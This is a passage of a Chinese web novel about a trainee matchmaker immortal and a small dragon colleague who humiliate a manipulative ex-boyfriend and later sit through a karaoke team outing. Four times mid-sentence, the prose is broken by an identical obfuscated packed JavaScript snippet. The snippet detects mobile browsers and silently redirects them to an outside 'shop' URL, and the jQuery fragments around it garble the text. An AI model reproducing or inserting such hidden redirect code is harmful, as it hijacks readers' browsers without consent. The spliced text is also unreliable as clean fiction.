“是...是吗?凑巧吧...哈哈哈”敖翔高昂的脑袋低了下来,竖瞳盯着屏幕,眼神复杂。 渐渐地,他整条蛇都盘了起来,缩在沙发的一角,仿佛想要减少自己的存在感。 剧情很快推到了高潮: 女主摔了工牌,辞职分手,一气呵成。紧接着,男主的公司就乱了套。 于是,镜头里的男主迅速切换成了死缠烂打的前任,他开始没完没了地打电话,在女主新公司的楼下堵人,台词也变成了“回来吧。” “岂有此理!”桃喜宁终于忍不住,一掌拍在桌子上。 “砰——!” 一声巨响。 霎那间,小桌子上的水杯、纸巾盒,全都被震飞到半空中。 桃喜宁回过神来,倒抽一口冷气,忙不迭地伸手一一接住,轻轻放回原处,仿佛一切什么都没发生过——除了桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977430|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上那个清晰可见的掌印。 “刚刚...我发出了很大声音吗?”桃喜宁满怀期望地看向敖翔,声音里带着一丝侥幸。 敖翔从沙发角落里探出脑袋,竖瞳盯着她,又看了看茶几上的掌印,慢悠悠地说:“你说呢?” 话音未落,桃喜宁的手机就响了。 她抓过手机,屏幕亮起,是邻居岑漫发来的消息: 【小桃,我在熬夜赶稿,刚才有个很大的响声,好像是你那里传过来的,你没事吧?需要帮忙吗?】 桃喜宁捧住脸,发出一声压抑的哀嚎:“啊啊啊...还是吵到隔壁邻居了,罪过罪过...” 她赶紧打字回复:【不好意思不好意思!我刚才不小心把东西碰掉了,已经没事了!抱歉吵到你了!】 发送出去后,她整个人瘫在沙发上,生无可恋。 “看个短剧,至于这么激动吗?”敖翔小心翼翼地往手机旁边挪了挪,尾巴轻轻扫过屏幕,关掉了那部短剧。 桃喜宁咬牙切齿地骂:“渣男!跟葛悭一个样子,明明是自己的工作,却以感情为由让女友来做!还要发脾气耍威风。实际就是借着感情奴役女友。” 她的拳头捏得咯咯作响,眼中闪着危险的光。 敖翔闻言,身体不自觉地瑟缩了一下,声音都变调了:“那个...让同事...啊不女友工作养他,还...还偶尔发发小脾气,也..也不一定就是借着感情奴役吧。” 桃喜宁猛地转头,眼神如飞刀般射向他:“你为什么要替他辩解?你今晚还拉着我不让我修理葛悭,难道——” 她眯起眼睛,上下打量着盘成一团的敖翔:“难道你也是这样想的,所以产生了共鸣?” 敖翔吓得整个身体都僵住了,结结巴巴地说:“没...没有!绝对没有!你继续骂,继续...” 他把自己盘得更紧了,几乎要缩成一个青色的球。 经此一部,敖翔是再也不敢选剧了。 可是桃喜宁就跟上瘾了一样,不仅继续看,还专挑那种带有类似元素的短剧。 每看一部,她的怒气值就上涨一截,边看边骂骂咧咧。 敖翔在一旁瑟瑟发抖,整晚都把自己盘在沙发最远的角落,恨不得原地消失。 偶尔桃喜宁骂得太激动,随手一挥带起一阵风,他都吓得一哆嗦。 时间在狗血剧情和愤怒吐槽中悄然流逝,窗外的天色由黑转蓝,又渐渐透出白。 等天终于完全亮了,桃喜宁才放下手机,站起来伸了个大大的懒腰。 她的关节发出轻微的“咔咔”声,在寂静的晨光中格外清晰。 “啊——发泄一晚上,爽快多了。”她长舒一口气,感觉胸中郁结的闷气都消散了。一回头,看到敖翔还盘在沙发角落,小脑袋一点一点的,显然困得不行。 桃喜宁凑过去,仔细观察。在晨光的照耀下,她惊讶地发现——敖翔那绿豆大小的眼睛下面,竟然有两个淡淡的、黑色的阴影! “你这个...”她忍不住伸手,用指尖轻轻碰了碰那阴影,“不会是黑眼圈吧?” 15. 第15章 “哎,你这两黑眼圈...” 桃喜宁坐在工位上,手指轻轻敲击着桌面,目光落在口袋里那一小团青色上,语气里带着几分调侃。 敖翔一路上已经被嘲笑得麻木了。 刚开始还会气呼呼地竖起半截身子表示抗议,现在却整条蛇安静地窝在桃喜宁口袋深处,动也不动。 “真不说话了?”桃喜宁用手指轻轻戳了戳口袋——口袋里传来微弱的嘶嘶声,意思大概是在说“别烦我”。 她眼看逗弄不成了,便收敛了笑意,打开电脑开始处理工作,但眼神总是不自觉地飘向公司大门,警惕着每一个走进来的快递小哥身影。 时间在指针的滴答声中缓缓流逝。 临近中午,方守依路过前台,看见桃喜宁正端坐在位置上整理文件,一副岁月静好的模样,便凑了过来。 “今天没送礼物的快递过来?”方守依压低声音问道。 “没。”桃喜宁耸耸肩,手里的动作不停,“来的快递小哥都是来收的,送快递的,那是一个没有。” “哎,被我们白总拒绝后,这么容易就放弃了?太好了。”方守依眼睛亮闪闪的——似乎很是欣喜。 “也可能是没钱了。”桃喜宁推测道。 昨晚在酒吧,按照服务员的说法,葛悭之前消费都抠抠搜搜的,八成是靠家里给的钱。 经过昨晚那顿“请客”——搞不好现在卡都被停了。 桃喜宁自然是盼着葛悭不要再出现了。 如果就此打住,那白饴和林渊傅的红线可就安稳了,她也能结束外勤回去专心当实习月老。 然而,期望是丰满的,现实是骨感的。 下午两点,当桃喜宁刚完成手头的工作,准备享受片刻的松弛时,公司大门被推开了。 葛悭穿戴讲究——过分讲究了——出现在了白饴的公司。 “先生,请问您找谁?”桃喜宁挂上职业性的微笑,明知故问。 “我找白饴。”葛悭挺直腰板,声音洪亮,“告诉她,葛悭来了。” “白总正在开会,请问您有预约吗?”桃喜宁继续按流程询问。 葛悭脸上闪过一丝不耐烦:“没有预约,但我今天必须见到她。你去通报一声,就说她男朋友来了。” 桃喜宁脸上的笑容僵了一下,随即恢复如常:“不好意思,白总今天的日程已经排满了。如果您没有预约,恐怕...” “那我就在这里等。”葛悭打断了她的话,径直走向门口的会客区,在沙发上坐了下来,姿态从容得仿佛他才是这里的主人。 “先生,您这样会打扰到我们正常工作的。”桃喜宁得语气里已经带上了警告的意味。 葛悭却置若罔闻,反而调整了一下坐姿,让自己看起来更加显眼。 他翘起二郎腿,双手交叠放在膝盖上,目光扫视着每一个进出公司的人。 果然,来来往往到公司来的访客和员工都不免多看他几眼。 只要别人的目光落在葛悭身上,他就大言不惭地解释:“我是白总的男朋友,和她闹了点小矛盾,所以我今天亲自来求她原谅。” 他的声音不大不小,刚好能让周围的人都听到。 “告诉你们白总,”葛悭突然提高音量,显然是说给桃喜宁听的。 “既然我送的那么多礼物她不要,那我亲自过来。如果她今天不出来见我,那我就待在这里不走了。” 桃喜宁刚握紧拳头,就感觉到口袋里的敖翔轻轻动了动,脑海里同时传来他的声音:【冷静,想想转正,想想罚款!】 桃喜宁深吸一口气,松开拳头,硬生生挤出一个微笑。 “那么,这位先生,您请自便。不过我提醒您,会客区是有最晚开放时间的,之后我们就要清场了。” 她转身就要走回前台。 “等等。”葛悭突然出声。 桃喜宁停住脚步,但没有回头。 “我们昨晚,是不是在什么地方见过?”葛悭的声音里带着一丝探究。他站起身,走到桃喜宁面前,上下打量着她,“我总觉得很有点眼熟。” 桃喜宁脑中敖翔的声音变得急促:【喂喂,他是不是认出你了?昨晚酒吧灯光那么暗,不应该啊!】 【认出来了?那挺好。】桃喜宁丝毫不慌,悄悄提高了声音:“先生,您指的是昨晚在什么地方见过?” 说话间,她的眼角瞄到又有几个员工路过。 “当然昨晚是在酒吧...”葛悭一开口,就被桃喜宁打断了。 “什么?先生,您是说您昨晚在酒吧?”桃喜宁的声音陡然升高,确保附近的人都能听到。 “您刚才不是说,您是我们白总的男朋友,今天是来求我们白总原谅的吗?怎么昨晚还在酒吧?” 葛悭像是脖子被掐住了,脸一下涨得通红。他张了张嘴,想解释什么,却一个字也没说出来。 路过的员工彼此交换了眼神,开始窃窃私语起来。 这时,桃喜宁桌上的座机响了——刺耳的铃声打破了尴尬的沉默。 桃喜宁快步走回前台,接起了电话——是白饴打来的。 “小桃,他还没走?”白饴的声音又低又急,显然已经知道了前台的情况。 桃喜宁拿着话筒,用足够响亮的声音说道:“还没,白总,他刚才还在问我,昨晚是不是在酒吧见过我呢!” 葛悭“腾”地一下站了起来,脸色从通红转为铁青,扑过来就要夺桃喜宁手里的话筒。 桃喜宁却不给他这个机会。她灵活地侧身避开,把话筒从右手换到左手,当葛悭转向左边时,她又迅速换回右手。 几个回合下来,葛悭连话筒的边都没摸到,反而因为动作太大,滑了一跤差点摔倒。 “嗯嗯,好的,白总。”在溜了葛悭一圈后,桃喜宁“啪”一下把电话给挂断了,动作干净利落。 “你!”葛悭一拍桌子,震得上面的文件都跳了一下。他摆出一副要发飙的架势,拳头握得紧紧的,脖子上青筋暴起。 周围的空气瞬间凝固了。 前台附近的其他员工也停下了手中的工作,紧张地看着这一幕。 “白总现在在接待客户,”桃喜宁的语气强硬:“她请您到会议室去稍等,一会儿结束接待后会来见您。但是——” 她顿了顿,直视葛悭的眼睛,“您要是继续在这里闹事,我可就报警了。一会儿白总出来问您为什么不在会议室,我只好如实说您被警察带走了。” 葛悭硬生生刹住了自己,过了好一会儿,才从牙缝里挤出几个字:“会议室在哪里?带路吧。” ...... 会议室在走廊的尽头,里面摆着一张长长的桌子。 葛悭在会议室里并不安分,刚坐下就开始提要求:“去泡一杯咖啡,要现磨的。” 桃喜宁嗯嗯啊啊地敷衍着,磨磨蹭蹭地往外走,心里盘算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982325|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着怎么才能最大限度地拖延时间。 背后传来葛悭的声音:“你动作快点,不然等一会我见到你们白总,就让她把你解雇了!” 【你不会真的要按照他的要求去做吧?不像你啊。】敖翔在口袋里小幅游动,表达着自己的疑惑。 【呵呵呵】桃喜宁在心里冷笑几声【你看我像是那么听话的吗?】 桃喜宁在茶水间里慢条斯理地准备咖啡时,方守依走了进来。 “方助理。”桃喜宁叫住了方守依:“白总很不高兴吗?” 方守依一脸幽怨:“别提了,会议室里那位赖着不走,白总就跟吃了炸药一样,一点就着。我这个助理,压力山大啊。” “方助理,我有个计划,可以给白总分忧。”桃喜宁用手挡嘴,窸窸窣窣给方守依说了些什么。 方守依的眼睛随着桃喜宁的叙述越来越亮,脸上的幽怨一扫而空,取而代之的是欢欣鼓舞:“好!就这么办!我这就去准备!” 两人交换了一个心照不宣的眼神,各自行动起来。 桃喜宁端着终于泡好的咖啡回到会议室。 杯子里,深色的液体冒着热气,表面浮着一层细腻的油脂。 葛悭看见她端着咖啡回来,面露得色:“哼,这才对!做员工的就要有做员工的样子,老实一些,不然...” 他话还没说完。 桃喜宁就一个踉跄——手中的托盘一歪,整杯滚烫的咖啡不偏不倚,全部泼在了那过分讲究的衣服上。 “啊!”葛悭惨叫一声,从椅子上弹了起来。 别看招数老套,管用就行! 深色的咖啡迅速蔓延开来,从胸口一直流到腰间,形成一大片难看的污渍。 “你干什么!这是名牌!”葛悭立刻拍打衣服,试图阻止咖啡进一步渗透。 他的目光扫向桌上的纸巾盒,手伸了过去。 “我来!”桃喜宁一个扫荡,就把纸巾盒推到长桌的远处,远到葛悭不站起来根本够不到。 “你!”葛悭脸都气得变形了,就这么一会功夫,咖啡已经彻底渗进了他的衣服里。 嗯,浅色的衣服,深色的咖啡,绝配! 桃喜宁在心里暗暗叫好。 “您稍等,我去想别的办法!”她冲出会议室,很快拿了——一块看起来就不太干净的抹布回来。 接着不由分说,一个劲地往葛悭衣服上擦:“我帮您擦擦,可能还能挽救!” 在桃喜宁的努力下,原本还相对集中的咖啡污渍,被抹布一擦,面积不断扩大。而且因为抹布本身就不干净,还在衣服上留下了更多的深色痕迹。 “你不要过来!不要过来!”葛悭使劲挣扎,却根本无法逃脱。 就在拉扯之际,会议室的门被推开了。 “白总,这边请。”方守依恰到好处地出现在门口,引着白饴走了进来。 白饴的身后,还跟着几个探头探脑的员工。 于是,正巧落在所有人眼里的,就是一个一塌糊涂的葛悭,正在桃喜宁的手里苦苦挣扎。 “噗嗤。”白饴笑出了声:“葛悭,怎么回事,你就弄成这幅样子来找我?难道是因为昨晚去了酒吧?” 葛悭低头看看自己,又抬头看看门口那群憋笑的员工,最后盯住桃喜宁那张无辜的脸。 他猛地推开桃喜宁,撞开围观的肩膀,连句狠话都没撂下,头也不回地冲出了会议室,背影狼狈不堪。 16. 第16章 桃喜宁结束工作回到自己的公寓时,天色已暗。 口袋里的敖翔慢悠悠地钻出来,在小桌子上盘成舒适的一圈,鳞片在灯光下泛出点点光泽。 桃喜宁将包包随手扔在沙发上,整个人刚要陷进柔软的坐垫里。 就在此时,姻缘管理系统的专属提示音突然响起。 【此次外勤时间即将到期,请尽快处理后续事宜并提交阶段性工作报告。】 桃喜宁认命般地叹了口气,径直走到书桌前,打开了笔记本电脑。 “回来了就工作,这么卖力啊。”敖翔语气懒洋洋的。 “不是卖力,是赶工期。”桃喜宁一边按下开机键,一边揉了揉眉心。 “李科长批准的外勤时间到了,我得写个报告,汇报一下这段时间的工作成果。顺便……”她顿了顿,手指在键盘上轻轻敲了敲,“试试申请延期。” 电脑屏幕亮起来,桃喜宁打开文档,开始敲击键盘。 她用上了各种措辞:“有效干预潜在不利因素”、“成功维持红线主体联结强度”、“采取多维度策略确保姻缘发展环境稳定”…… 敖翔看着桃喜宁专注的背影,忽然从小桌子上游下来,蜿蜒穿过地板,顺着桌腿爬上书桌,最后卷住了桃喜宁的右胳膊。 “我饿了。”他的声音里带着点撒娇的意味,“冰箱空了,你去买菜,我们晚上吃顿好的。” 桃喜宁头也不抬,继续打字:“少来,你好歹也是青龙,饿不了。就是馋的。” “不管不管。”敖翔开始用尾巴轻轻拉扯她的手臂,“现在就要吃。” 桃喜宁被拉得手腕晃动,光标在文档里乱跳,打出了一串乱码,不得不停下动作。 “好好,我去我去。”她眼珠一转,左手伸进放在椅子上的包包里摸索,掏出了一包零食。 “不过你得先让我把这个段落写完。这是白饴公司的新款零食,据说味道相当不错,你要么先吃一点垫垫?” 敖翔的注意力立刻被吸引了。 他松开桃喜宁的胳膊,转而盘住了零食袋,用尾巴尖灵巧地撕开包装口后,把脑袋探了进去。 就是现在。 桃喜宁慢吞吞地站起来,却在经过桌面的瞬间,以迅雷不及掩耳之势抓起电脑和手机。 等敖翔反应过来时,她已经像一阵风似冲了出去。 “喂!你——”敖翔刚从零食袋里抬起头,嘴里还叼着半块零食。 “嗖。”桃喜宁不见了,公寓里只剩下他自己。 “可恶!居然骗我。”敖翔气得把零食袋拍在桌上。 他在桌面上来回游走,尾巴拍打桌面发出“啪啪”的响声。 吃了一半的零食忽然不香了。 就在敖翔生闷气的时候,客厅的空气忽然泛起一阵微妙的涟漪。 “小翔,小翔。” 敖翔被这突如其来的声音惊得呛了一口,零食碎屑从嘴里喷了出来。 “爸,你怎么突然出现,吓我一跳。”他用尾巴给自己顺气,语气里带着明显的惊吓。 敖椿庭从空气的涟漪中完全显现出来:“哈哈哈,我也没想到你这么不禁吓。” 敖翔缓过气来,故作端庄地盘成一圈:“爸,你今天是来干嘛的?” 熬椿庭大喇喇地歪到沙发上,顺手拿过桌上的零食开始吃。 “你妈让我来提醒你,月老部的年度考核快接近了,别忘了这也是你的考核。“过了考核化形成功,才能结束历练,不然你就得一直赖在同事家里蹭吃蹭喝。” “妈...”敖翔整条蛇忽然僵住了,记忆瞬时浮现。 ...... “你想去月老部历练?不行。”熬萱堂听完敖翔的请求,想也没想就拒绝了。 “我已经安排好了,你就去财神部。那里业务多,你很快就能熟悉在人界的工作流程,早日化形成功,回来接岗。” “不要嘛~~~妈——”敖翔拉长了声音,抱住熬萱堂的胳膊,一个劲地晃悠。 “财神部实在太卷了!一天天的业务这么多,工作太多我会累到的。而且听说他们业绩考核严得很!呜呜呜……” 熬萱堂不为所动,甚至冷笑了一声:“少来这套!我还不了解你?!你就是想找个清闲地方混日子。” 敖翔讪讪地松开了熬萱堂的胳膊,脑袋耷拉了下来,尾巴尖也无精打采地垂在地上。 旁边的熬椿庭看不下去了:“萱堂,要不就让小翔去月老部吧。” 敖翔眼睛一亮,立刻改缠住熬椿庭的胳膊,鳞片都闪着希冀的光:“还是爸好!” 熬椿庭却继续说道,语气里带着点看热闹的意味。 “他要是心不甘情不愿去了财神部,回头工作摆烂、搞出什么问题来,还不是找我们善后?干脆就让他去想去的月老部,那儿规定也不少,到时说不定就能被现实好好收拾一顿了。” 敖翔僵住,缠着熬椿庭胳膊的力道都小了。 “也是...”熬萱堂冷哼一声:“想去月老部也行,但是你得和我约个条件。” “什么条件?”敖翔立刻冲回了熬萱堂面前。 熬萱堂的手指在桌面上有节奏地敲击着,每一下都让敖翔绷得更紧。 “历练期间,家里不会给你任何信仰值支持。历练期间在人界的生活费,全部你自己解决。” 敖翔一下垮了下来。 他张了张嘴,看向熬椿庭,眼里写着“爸你再说两句好话”。 熬椿庭却回给了他一个爱莫能助的眼神,默默转开了视线。 “……行!”敖翔一咬牙,尾巴尖重重拍了下地板:“条件我答应!我要去月老部!” 熬萱堂这才露出一丝笑意,敲击桌面的手指停了下来:“很好,小翔。记住你的承诺。” …… 公寓的客厅里,敖翔从回忆中抽离,整条蛇都呈现出生无可恋的松垮状态,瘫在桌面上。 “哎呀,不就是考核不合格,我不能化形吗?”他试图用满不在乎的语气说. “我现在生活有同事包养——啊不,照顾。日子过得挺好,有吃有喝有地方住。其他的,不重要。” 熬椿庭安静地听着,等敖翔说完,才缓缓开口。 “可是小翔啊,我和你妈都了解过了,如果这次年度考核不合格,影响的可不只是你化形。” 敖翔的小脑袋抬起来一点,鳞片微微竖起。 “你这个月老部的同事——桃喜宁,小桃,她还在实习期,对吧?”熬椿庭继续加码。 “如果她所负责的红线项目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985717|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终评定不佳,导致年度靠核不合格……” 他顿了顿,声音更重了些:“那么,她就要实习不通过,失去转正机会,最好的结果,也就是做个没有固定岗位、漂泊不定的散仙。” 敖翔瞬间弹了起来,崩得笔直。 “爸,你快走快走!”他用尾巴推着熬椿庭:“我还有正事要忙,没空招待你了!” 熬椿庭也不生气,顺从地被推着:“行吧,小翔,那我先走了。” 话音刚落,他的身影便消失了,随之一同消失的,还有小桌子上剩下的半包零食。 客厅里恢复了安静。 敖翔在桌面上呆立了几秒,然后开始在客厅里疯狂游走。 他从桌子游到沙发,从沙发游到桌子,来来回回,嘴里念念有词:“不合格……不能转正……散仙……” “不行不行,绝对不行!” 他突然停住,小脑袋转向门口方向,眼神变得无比锐利。 “桃喜宁工作还不够彻底……白饴和林渊傅的红线,虽然现在看似稳了,但谁知道会不会出别的状况?不行,必须继续巩固,必须万无一失!” 此前桃喜宁虽然离开了公寓,但是并没有走远。 她抱着笔记本电脑和手机,溜到了楼下小区花园里,专注地对着屏幕敲敲打打。 一个多小时后,那份措辞严谨、力求体现工作价值的延期申请和工作报告终于写完。 桃喜宁从头到尾仔细检查了一遍,确保每个“有效干预”和“稳定提升”都落在实处,这才深吸一口气,点击了发送。 合上电脑,屏幕的微光熄灭。 桃喜宁抬头望向公寓楼自家那扇熟悉的窗户,不由自主地叹了口气。 “就这么空手回去,他肯定得闹腾死。”以她对敖翔的了解,今晚不让他吃顿好的,别想有片刻安生。 认命地站起身,桃喜宁转身去了小区外的超市。 她在生鲜区的冷柜前挑挑拣拣,拿了几样敖翔最爱吃的。等到排队付钱的时候,看着再度缩减的信仰值余额,她忍不住再次叹了口气—— 自打敖翔来了以后,她这点可怜的信仰值真是存不下来了。 提着沉甸甸的购物袋回到公寓门口,桃喜宁在门外静静站了两秒,深吸一口气,脸上挤出一个一切正常的笑容,这才用钥匙开了门。 “我回来了,买了你爱吃的——” 话卡在喉咙里。 客厅的灯明晃晃地亮着,敖翔没有像往常一样瘫在沙发里打盹,或是盘在零食袋旁大快朵颐。 他竟端正地坐在小桌子中央——用尾巴灵巧地支撑起前半身,小脑袋高昂,竖瞳死死地盯着刚进门的她。 那眼神里,没有饿了的馋,没有被骗的恼,甚至没有平常的懒散。那是一种混合了紧迫、决心……近乎灼热的光芒。 桃喜宁心里“咯噔”一下,刚挤出的笑容僵在脸上。 果然,没等她放下手中的购物袋,敖翔清晰而严肃的声音已经传了过来:“你总算回来了。” 他的尾巴尖有节奏地点了点,发出笃笃的轻响,像是在为接下来重要的话打拍子。 “我觉得,”敖翔顿了一下,语气是前所未有的认真,“白饴和林渊傅的这条红线,我们必须要再巩固巩固。” 17. 第17章 桃喜宁站在办公桌前,微微低着头,双手规矩地交叠在身前,表情管理得很到位——恰到好处的歉意,混合着慎重考虑的认真。 完全看不出,此刻她脑海里正充斥着敖翔近乎抓狂的喊叫: 【你干嘛!为什么要辞职!继续留在这里啊!万一那个葛悭又杀回公司怎么办?年度考核还要不要过了!】 “小桃,真的不再考虑考虑了?”白饴坐办公桌后,手里拿着那份薄薄的离职申请,眉头微蹙。 “谢谢白总,但是我想先专心完成毕业论文,之后再详细考虑发展方向。”桃喜宁的理由中规中矩,听起来完全就是每个面临毕业季的学生都会说的标准答案。 白饴抬起头,目光落在桃喜宁身上:“就算要写毕业论文,也不耽误你来这里兼职啊。” 桃喜宁维持着脸上的平静:“这段时间谢谢白总的照顾,我学到了很多。” 白饴最终叹了口气,拿起笔在申请上签了字:“好吧,学业为重。我很看好你,如果你愿意,一毕业就可以来这里正式工作。” “谢谢白总。”桃喜宁接过签好的申请,再次道谢后,转身快步走出了办公室。 门在身后轻轻合上,她立刻加快了脚步,几乎是小跑着穿过走廊。 【你疯了吗?这是多好的据点!离白饴近,还能随时观察情况!】敖翔的声音在她脑海里继续轰炸。 桃喜宁拐进无人的茶水间,这才尝试给暴躁的敖翔讲道理。 【我本来也只是兼职,离职很正常。而且最近姻缘系统对白饴和林渊的红线状态已经稳定了,不再显示断裂预警。】 她顿了顿【再说,我已经和方守依确认过了,最近葛悭都没有再出现在公司附近,连电话骚扰都停了】 敖翔从口袋边缘偷偷探出小半个脑袋,一双竖瞳紧盯着她。 【不行!你这是典型的松懈!马上要本年度考核了,业绩是我们的底线,你不能放松警惕!万一呢?万一那个葛悭憋着什么坏招呢?】 他说得激动,甚至用尾巴尖勾住了桃喜宁的袖口,一副“你不答应我就不松口”的架势。 桃喜宁看着他连尾巴都在用力的样子,总觉得自己不是有个来历练的关系户同事,而是真的养了一只特别操心的萌宠。 于是不自觉地放软了语气【好,好,我知道了。可就算我们要继续巩固业绩,也得有个正当理由回去啊。我上次申请的外勤时间已经用完了,得再向李科长申请一次。但是……】 她露出一个头疼的表情【最近李科长好像特别忙,我提交的延期申请,他看都没看过,状态一直显示待处理。】 桃喜宁的话还没说完,李帅的传音突然切了进来。 【小桃,我们科里另外一个同事已经结束培训到岗了。为增进科室凝聚力,本周科里搞个团建,都要参加哈,大家熟悉熟悉。】 团建.....桃喜宁的手抖了一下。 她颤巍巍地回话【李科长,我们这次团建是去……?】 李帅几乎是秒回:【那还用说?当然还是老地方,KTV啦!我已经订好包厢了,不见不散!】 桃喜宁听到那个刺耳的“KTV”,后退几步,靠在茶水间的墙上。 敖翔从口袋里完全钻出来,游到她肩膀上,用小脑袋顶了顶她的脸颊。 【你看,李科长这不是出现了嘛!团建时当面跟他提,他肯定会批!】 桃喜宁转过头,用生无可恋的眼神看着敖翔。 【你不懂……那不是普通的团建,那是李科长的个人演唱会,啊不,是灌耳酷刑专场。】 她闭上眼睛,仿佛在回忆什么可怕的往事。 【我刚进月老部参加统一培训后,所有的实习月老一起团建……那么多同事在场】 【李科长一进KTV,就像解除了什么封印,那歌声……那场面……】 桃喜宁打了个寒颤【我无论如何都不想再经历一次。】 敖翔歪了歪脑袋:【有这么夸张?】 【等你亲耳听到,你就明白了。】桃喜宁有气无力地说。 但是,再怎么抗拒,该来的还是要来。 桃喜宁穿着一身尽可能不起眼的衣服,磨磨蹭蹭地挪到了KTV的包厢门口。 自觉终究是躲不过,只得深吸一口气,推门走了进去。 包厢比她想的还要大一些。 李帅已经坐在正对屏幕的沙发上,仅存的头发梳得一丝不苟,脸上洋溢着兴奋。 而在他旁边,坐着一个桃喜宁没见过的男人。 男人坐姿笔直,双手规矩地放在膝盖上,看起来有点紧张,又有点……过于认真。 “小桃来了!快坐快坐!”李帅热情地招手。 “来来,介绍一下,这位就是我们科新来的实习月老,马奋进!小马,这是桃喜宁,比你早来一段时间,以后多跟小桃学习。” 桃喜宁走过去,按照仙界的习惯行了一礼:“你好,我叫桃喜宁,以后互相关照。” “你好。马奋进。”马奋进也跟着回礼。 不知道是不是错觉,桃喜宁总觉得马奋进回礼时动作幅度特别大,眼睛还直勾勾地盯着她。那眼神不像是在看新同事,倒像是在打量……对手? “我也还在实习期,以后直接叫我名字就好。”桃喜宁笑了笑,在侧边的沙发坐下,顺手把装着敖翔的包包放在身旁。 但很快,她的注意力就无法放在这位有点莫名的新同事身上了。 因为李帅清了清嗓子,用洪亮的声音宣布:“都到齐了!那就开始吧!首先,谁来点第一首歌?” “我来我来!”桃喜宁几乎是从沙发上弹起来的,一个箭步冲到了点歌台旁。 她的手指飞舞,速度快得出现了残影。 一首首歌曲被迅速加入了歌单。 敖翔从包包里探出头,看着屏幕上一长串歌名:【你点这些…都是李科长爱唱的?】 桃喜宁手下不停,在心里回道:【嗯呐,这些歌应该够他忙一会了,不够我再点!】 第一首歌的前奏响了起来。 “这首我会!我来!”李帅几乎是抢过了话筒,随着前奏的推进,挺直了腰板—— 高亢、响亮……完全不在调上的歌声,瞬间充盈了整个包厢。 敖翔猛地缩了回去:【这……这就是你说的……】 桃喜宁面不改色地坐回沙发【这才刚刚开始。】 李帅似乎完全沉浸在了演唱中,时而闭眼投入,时而挥动手臂。 一曲终了,他脸上满是笑容:“好!下一首是什么?” 屏幕切到了桃喜宁点好的第二首歌。 “这首我也会!”李帅再次握紧话筒,“小桃,小马,你们要不要一起?” 桃喜宁一个劲地摇得:“不不不,李科长您唱得这么好,我们欣赏就好,欣赏就好。” 马奋进嘴唇动了动,似乎想说什么,但最终没有出声。 李帅喜笑颜开:“那我就不客气了!” 别客气,千万别客气,最好直接唱满接下来的团建时间。 桃喜宁在心里默默念叨,顺便用手指轻轻按了按装着敖翔的包包——里面的小青蛇已经盘成一团,估计是进入了听觉防御状态。 第三首、第四首……李帅紧紧握着话筒,整个包厢都因为他的歌声而震动。 桃喜宁估摸着第一轮点的歌快结束了,便又起身挪到点歌台旁,准备继续添加“李科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989833|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长专属歌单”。 就在她滑动屏幕时,一个身影在旁边坐了下来。 马奋进不知何时挪到了她旁边的位置,依旧是那副笔直的坐姿。 “你就这么明着讨好李科长?”他压低了声音。 桃喜宁的手指顿住了。 她侧过头,看着这位一脸正气的新同事,觉得有点好笑,但还是耐着性子试图解释。 “哎,马同事,话可不是这么说的。你可能不知道,我们李科长他……” “难道不是吗?”马奋进打断了她,下巴微微抬起。 “你都不问问其他同事想唱什么歌,只一个劲给李科长点他喜欢的。这不是讨好是什么?” 这下,桃喜宁那点笑意算是消失了。 她收回手,转过身正对着马奋进:“行啊,那请问马同事喜欢什么歌?我这就插到最优先播放的位置来。” 马奋进哼了一声,伸手拿起了另一只话筒。 然而。 “这首——!”李帅的嗓门炸响,“我也会!我最近刚练过!” 他不由分说,一把搂住了马奋进的肩膀“来!小马!我们合唱!拿出我们科的气势来!” 马奋进刚张开嘴,发出第一个音—— 李帅的歌声却瞬间盖过了一切。他不仅自己唱,还拍着马奋进的肩膀打拍子。 马奋进提高了音量,但李帅也随之拔高,且越来越响,越来越用力。 桃喜宁不知何时已经回到了沙发,手里抓了一把瓜子。 她慢条斯理地剥开一颗,自己吃了,又剥开一颗,放在装着敖翔的包包旁边。 包包里探出一个小脑袋,迅速把瓜子仁卷了进去。 【没想到啊,没想到。】敖翔的声音带着看戏的惬意,【李科长的胜负欲这么强。】 